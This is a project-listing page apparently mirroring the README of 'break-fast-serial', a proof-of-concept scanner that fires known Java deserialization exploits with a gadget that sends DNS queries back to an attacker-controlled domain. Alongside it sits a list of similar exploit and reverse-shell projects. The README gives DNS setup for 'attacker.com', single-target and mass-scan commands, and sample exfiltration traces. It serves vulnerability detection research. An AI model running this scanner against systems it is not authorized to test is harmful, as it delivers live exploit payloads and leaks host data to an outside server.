GitPlanet

Cheap and reliable Node.js hosting starts at $3/month, and $1/month static HTML hosting

Created with love in Canada, visit hostnodejs.com today

Feel like to post an Ad? Learn Details
All Projects → GoSecure → break-fast-serial

GoSecure / break-fast-serial

Licence: MIT license
A proof of concept that demonstrates asynchronous scanning for Java deserialization bugs

Programming Languages

python
139335 projects - #7 most used programming language

Labels

securityserializationexploittoolvulnerability

Projects that are alternatives of or similar to break-fast-serial

Ysoserial
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
Stars: ✭ 4,808 (+8971.7%)
Mutual labels:  serialization, exploit, vulnerability
Spectre Meltdown Poc
A semi-demi-working proof of concept for a mix of spectre and meltdown vulnerabilities
Stars: ✭ 127 (+139.62%)
Mutual labels:  exploit, vulnerability
Safiler
Safari local file reader
Stars: ✭ 118 (+122.64%)
Mutual labels:  exploit, vulnerability
vmware guest auth bypass
Proof of concept of VMSA-2017-0012
Stars: ✭ 42 (-20.75%)
Mutual labels:  exploit, vulnerability
Jscpwn
PoC exploit for CVE-2016-4622
Stars: ✭ 89 (+67.92%)
Mutual labels:  exploit, vulnerability
H4cker
This repository is primarily maintained by Omar Santos and includes thousands of resources related to ethical hacking / penetration testing, digital forensics and incident response (DFIR), vulnerability research, exploit development, reverse engineering, and more.
Stars: ✭ 10,451 (+19618.87%)
Mutual labels:  exploit, vulnerability
rsGen
rsGen is a Reverse Shell Payload Generator for hacking.
Stars: ✭ 71 (+33.96%)
Mutual labels:  exploit, vulnerability
Sap exploit
Here you can get full exploit for SAP NetWeaver AS JAVA
Stars: ✭ 60 (+13.21%)
Mutual labels:  exploit, vulnerability
Exphub
Exphub[漏洞利用脚本库] 包括Webloigc、Struts2、Tomcat、Nexus、Solr、Jboss、Drupal的漏洞利用脚本，最新添加CVE-2020-14882、CVE-2020-11444、CVE-2020-10204、CVE-2020-10199、CVE-2020-1938、CVE-2020-2551、CVE-2020-2555、CVE-2020-2883、CVE-2019-17558、CVE-2019-6340
Stars: ✭ 3,056 (+5666.04%)
Mutual labels:  exploit, vulnerability
Killshot
A Penetration Testing Framework, Information gathering tool & Website Vulnerability Scanner
Stars: ✭ 237 (+347.17%)
Mutual labels:  exploit, vulnerability
Reverse Shell
Reverse Shell as a Service
Stars: ✭ 1,281 (+2316.98%)
Mutual labels:  exploit, vulnerability
dheater
D(HE)ater is a proof of concept implementation of the D(HE)at attack (CVE-2002-20001) through which denial-of-service can be performed by enforcing the Diffie-Hellman key exchange.
Stars: ✭ 142 (+167.92%)
Mutual labels:  exploit, vulnerability
Thoron
Thoron Framework is a Linux post-exploitation framework that exploits Linux TCP vulnerability to provide a shell-like connection. Thoron Framework has the ability to create simple payloads to provide Linux TCP attack.
Stars: ✭ 87 (+64.15%)
Mutual labels:  exploit, vulnerability
Ansvif
A Not So Very Intelligent Fuzzer: An advanced fuzzing framework designed to find vulnerabilities in C/C++ code.
Stars: ✭ 107 (+101.89%)
Mutual labels:  exploit, vulnerability
Hacker ezines
A collection of electronic hacker magazines carefully curated over the years from multiple sources
Stars: ✭ 72 (+35.85%)
Mutual labels:  exploit, vulnerability
Vulscan
Advanced vulnerability scanning with Nmap NSE
Stars: ✭ 2,305 (+4249.06%)
Mutual labels:  exploit, vulnerability
Labs
Vulnerability Labs for security analysis
Stars: ✭ 1,002 (+1790.57%)
Mutual labels:  exploit, vulnerability
Slowloris
Asynchronous Python implementation of SlowLoris DoS attack
Stars: ✭ 51 (-3.77%)
Mutual labels:  exploit, vulnerability
Pub
Vulnerability Notes, PoC Exploits and Write-Ups for security issues disclosed by tintinweb
Stars: ✭ 217 (+309.43%)
Mutual labels:  exploit, vulnerability
cve-2016-1764
Extraction of iMessage Data via XSS
Stars: ✭ 52 (-1.89%)
Mutual labels:  exploit, vulnerability
View All Similar Projects ➔

Break Fast Serial

A proof of concept that demonstrates asynchronous scanning of deserialization bugs. It repackages well known exploits with a modified gadget that triggers DNS queries.

Detailed explanation: http://gosecure.net/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/

DNS Chef configuration

The DNS Chef instance is a requirement to see the results of the scan.

This is the typical DNS configuration expected on your domain registrar. It will signify to other DNS servers that all subdomains of attacker.com must be resolved by the DNS server host at 10.11.12.13.

NS scanme.attacker.com dnschef.attacker.com
A dnschef.attacker.com 10.11.12.13
  • 10.11.12.13 : The public IP address that is
  • attacker.com : A domain name you own

It is highly recommended to use this modified version of DNS Chef that decodes the metadata placed by the scanner.

Single IP scan

Launch DNSChef

python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0

Launch the scanner

python breakfast.py -t 192.168.40.1 -p 7001 -d scanme.attacker.com

Mass Scan

Build a list of ip/hostname with open HTTP ports. Use a port scanner such as NMAP to identify port that respond to HTTP.

$ cat list_servers.txt
192.168.40.10:80
192.168.40.24:8181
192.168.40.100:7001
192.168.40.100:8080
192.168.40.102:8080
192.168.40.102:8001

Launch DNSChef

python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0

Launch the scanner

cat list_servers.txt | python breakfast.py -stdin -d scanme.attacker.com

Expected response

If the vulnerability is confirmed, the expected trace from DNS Chef is as follows.

['843', 'jboss', '192.168.40.24', '8181']
[06:16:44] 69.165.172.165: cooking the response of type 'A' for 3834333a6a626f73733a3132372e302e302e313a38313831.scanme.fsociety.com to 127.0.0.1
['914', 'jenkins-cli', '192.168.40.102', '8080']
[06:16:45] 173.194.103.14: cooking the response of type 'A' for 3931343a6a656e6b696e732d636c693a3132372e302e302e313a38303830.scanme.fsociety.com to 127.0.0.1
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].